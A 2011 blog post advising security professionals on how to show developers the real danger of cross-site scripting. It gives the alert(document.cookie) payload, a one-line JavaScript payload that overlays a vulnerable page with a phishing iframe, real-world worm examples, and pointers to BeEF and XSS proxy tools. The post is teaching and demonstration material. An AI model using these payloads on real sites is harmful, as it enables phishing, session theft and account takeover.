Cross-site scripting (XSS) vulnerabilities allow an attacker to inject content in an otherwise trusted web page. XSS attacks in the wild typically try to execute JavaScript, and consequently XSS issues are typically demonstrated with a script function that’s short, simple, and visual: the alert box. Many XSS examples use alert(1) or alert(‘XSS’) as a payload.

As others have noted, though, this fails to show the power of XSS, and may lead to a “so what?” reaction from developers not familiar with such a vulnerability. I like to compare alert(1) to showing that the safety of a gun is off. If someone has never handled or heard of a gun before, a small switch out of place won’t mean much. But when they see the gun fire and witness the damage a bullet can cause, the significance of that safety becomes apparent.

While I’m hardly the first to compile a list of example payloads that go beyond simple alert boxes (see also XSS – Exploitation beyond alert(‘xss’) and alert(‘xss’) – The slow death of XSS), I think it bears repeating that security professionals should be prepared to demonstrate the real dangers of XSS. Here are a few ideas to keep in your toolbox:

  1. Expose cookies. My personal preference for a simple alert box when checking XSS is alert(document.cookie). Even if a developer is not familiar with XSS, most will likely recognize that access to the session data stored in a user’s cookie presents a problem. And note that if the injected script can alert those values, it can also send them to an external server, allowing an attacker to take control of the victim’s account
  2. Gather real-world examples. While you’d certainly never want to just load a live payload on a vulnerable app, actual attacks against other sites are good testimonials for thinking about XSS. A few to get your file started:
    • Malware delivery on celebrity MySpace pages: Alicia Keys and other stars fell victim to an attack that didn’t even require JavaScript. An invisible <a> element covered the entire page, making any click send the user to a malicious site.
    • The Samy worm on MySpace: One of the fastest-spreading viruses used XSS. The Samy worm automatically friended other MySpace users and modified the profiles of victims. Its rapid spread caused MySpace to shut down temporarily.
    • Remote code execution on phones via the Android Market: A vulnerability in Google’s online store for Android apps could be used to send an install command when accessed from an Android phone. Once installed, the malicious app could then also be automatically launched.
    • Facebook bully video XSS payload: A recent attack exploiting a loophole in Facebook apps used event invites, chat messages, and Facebook pages to spread malicious links. The payload also included code for phishing account credentials.
  3. Phishing demo. Create a page that mimics your app’s login form but submits to a different location, and save it somewhere safe but accessible. Add this bit of code to quickly replace a vulnerable page with your phishing page:

    x=document.createElement('iframe'),x.src='http://yourphishingpage/', x.height='100%',x.width='100%',x.frameBorder='0',document.body=x

  4. Create a custom payload. Remember, once a script can be injected in a page, it basically has the same amount of access as any other script in the page. If you’re already familiar with code used by a vulnerable app, you can simply load a few of them with the XSS payload. With many sites using a range of client-side features, a few function calls can do quite a bit.
  5. Set up a BeEF demo. The Browser Exploitation Framework, or BeEF for short, is a tool that essentially lets you create a small botnet. BeEF can be used to log keystrokes, detect features or history, and even launch Metasploit to load more sophisticated attacks.
  6. Set up an XSS-based proxy. Tools such as Shell of the Future let you make requests for other sites from a victim’s browser and have the responses forwarded to your machine. This lets you tunnel traffic through other machines simply by exploiting XSS.

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    This entry was posted on Tuesday, April 26th, 2011 at 4:50 pm by Joey Tyson and is filed under hacking, software, Tutorial Tuesday.